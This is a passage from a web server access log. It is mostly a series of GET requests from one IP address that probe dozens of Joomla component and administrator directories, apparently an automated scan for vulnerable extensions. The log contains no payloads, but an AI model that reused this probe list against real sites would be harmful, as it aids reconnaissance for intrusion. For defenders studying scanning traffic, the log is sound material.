wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:54:33 +0330] "GET /images/phocagallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:54:37 +0330] "GET /images/com_virtuemart/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:54:43 +0330] "GET /images/virtuemart/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:54:49 +0330] "GET /images/easyblog_images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:54:55 +0330] "GET /images/easyblog_articles/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:55:02 +0330] "GET /components/com_content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:55:49 +0330] "GET /components/com_media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:55:59 +0330] "GET /components/com_wrapper/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:58:58 +0330] "GET /components/com_languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 205.169.39.14 - - [04/Nov/2025:23:00:13 +0330] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:01:18 +0330] "GET /components/com_k2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:01:26 +0330] "GET /components/com_phocadownload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:01:29 +0330] "GET /components/com_phocagallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:01:33 +0330] "GET /components/com_rsform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:04:04 +0330] "GET /components/com_jdownloads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:04:28 +0330] "GET /components/com_djclassifieds/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:04:37 +0330] "GET /components/com_adsmanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:04:44 +0330] "GET /components/com_comprofiler/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:04:50 +0330] "GET /components/com_community/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:05:29 +0330] "GET /components/com_flexicontent/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:05:35 +0330] "GET /components/com_jcalpro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:05:45 +0330] "GET /components/com_joomgallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:05:49 +0330] "GET /components/com_joomfish/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:05:57 +0330] "GET /components/com_joomlapack/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:06:03 +0330] "GET /components/com_jshopping/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:06:10 +0330] "GET /components/com_oscommerce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:07:00 +0330] "GET /components/com_virtuemart2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:07:34 +0330] "GET /components/com_docman/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:07:46 +0330] "GET /components/com_eventbooking/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:07:51 +0330] "GET /components/com_foxcontact/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:07:55 +0330] "GET /components/com_hdvideoshare/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:07:58 +0330] "GET /components/com_hwdvideoshare/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:08:03 +0330] "GET /components/com_jcomments/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:08:12 +0330] "GET /components/com_jmovies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:08:21 +0330] "GET /components/com_jnews/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:09:01 +0330] "GET /components/com_joomlaquiz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:10:05 +0330] "GET /components/com_matukio/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:10:07 +0330] "GET /components/com_osdownloads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:10:29 +0330] "GET /components/com_osproperty/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:10:31 +0330] "GET /components/com_oziogallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:10:46 +0330] "GET /components/com_phocamaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:11:03 +0330] "GET /components/com_ponygallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:11:08 +0330] "GET /components/com_rokdownloads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:11:16 +0330] "GET /components/com_rsgallery2/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:11:20 +0330] "GET /components/com_scheduler/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:11:29 +0330] "GET /components/com_sermonspeaker/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:11:36 +0330] "GET /components/com_simplephotogallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:11:47 +0330] "GET /components/com_uniterevolution/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:11:52 +0330] "GET /components/com_vehiclemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:11:57 +0330] "GET /components/com_videoflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:12:07 +0330] "GET /components/com_vitabook/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:12:16 +0330] "GET /components/com_weblinks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:12:20 +0330] "GET /administrator/components/com_content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:12:36 +0330] "GET /administrator/components/com_contact/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:56:07 +0330] "GET /components/com_banners/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:58:05 +0330] "GET /components/com_finder/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:59:18 +0330] "GET /components/com_mailto/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:59:43 +0330] "GET /components/com_plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:59:52 +0330] "GET /components/com_search/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:22:59:58 +0330] "GET /components/com_tags/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:04:12 +0330] "GET /components/com_hikashop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:06:25 +0330] "GET /components/com_redshop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:07:10 +0330] "GET /components/com_zoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:07:14 +0330] "GET /components/com_acymailing/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:07:21 +0330] "GET /components/com_cckjseblod/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:12:42 +0330] "GET /administrator/components/com_users/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:13:51 +0330] "GET /administrator/components/com_fields/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:15:33 +0330] "GET /administrator/components/com_plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:16:37 +0330] "GET /administrator/components/com_templates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:16:41 +0330] "GET /administrator/components/com_kunena/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:17:40 +0330] "GET /administrator/components/com_phocadownload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:18:17 +0330] "GET /administrator/components/com_chronoforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:18:20 +0330] "GET /administrator/components/com_breezingforms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:18:25 +0330] "GET /administrator/components/com_fabrik/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:18:35 +0330] "GET /administrator/components/com_jce/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:18:41 +0330] "GET /components/com_content/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:18:46 +0330] "GET /components/com_contact/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:18:53 +0330] "GET /components/com_users/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:19:03 +0330] "GET /components/com_media/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:19:09 +0330] "GET /components/com_wrapper/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:19:14 +0330] "GET /components/com_banners/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:12:49 +0330] "GET /administrator/components/com_media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:12:57 +0330] "GET /administrator/components/com_wrapper/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:13:12 +0330] "GET /administrator/components/com_banners/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:13:22 +0330] "GET /administrator/components/com_ajax/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:13:33 +0330] "GET /administrator/components/com_config/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:13:39 +0330] "GET /administrator/components/com_contenthistory/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:14:29 +0330] "GET /administrator/components/com_installer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:14:41 +0330] "GET /administrator/components/com_joomlaupdate/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:14:50 +0330] "GET /administrator/components/com_languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:14:58 +0330] "GET /administrator/components/com_mailto/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:15:03 +0330] "GET /administrator/components/com_newsfeeds/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 45.144.196.50 - - [04/Nov/2025:23:18:00 +0330] "GET /administrator/components/com_phocagallery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 